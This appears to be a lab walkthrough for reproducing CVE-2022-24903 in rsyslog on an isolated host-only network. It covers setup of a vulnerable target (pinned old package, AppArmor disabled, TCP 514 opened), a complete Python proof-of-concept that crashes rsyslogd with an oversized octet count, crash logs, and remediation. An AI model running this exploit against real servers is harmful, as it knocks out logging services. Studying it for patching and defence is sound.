+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

sudo nano /etc/netplan/00-installer-config.yaml

network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

sudo netplan apply

ip addr show | grep 192.168.56.20

sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

rsyslogd -v | head -2

rsyslogd  8.2001.0

sudo systemctl stop apparmor
sudo systemctl disable apparmor

sudo nano /etc/rsyslog.conf

module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

sudo ufw allow 514/tcp
sudo ufw --force enable

sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

sudo ss -tlnp | grep 514

LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

sudo nano /etc/network/interfaces

auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

sudo nano /etc/netplan/01-netcfg.yaml

network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24

sudo netplan apply

cd ~/Desktop
nano exploit.py

#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

chmod +x exploit.py

nc -zv 192.168.56.20 514

(UNKNOWN) [192.168.56.20] 514 (shell) open

python3 ~/Desktop/exploit.py

==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

ps aux | grep rsyslog

sudo dmesg | tail -10

audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

sudo journalctl -u rsyslog --no-pager | tail -10

sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

rsyslogd -v | head -2

# module(load="imtcp")
# input(type="imtcp" port="514")

module(load="imgtls")
input(type="imgtls" port="6514")

sudo ufw allow from 192.168.56.10 to any port 514 proto tcp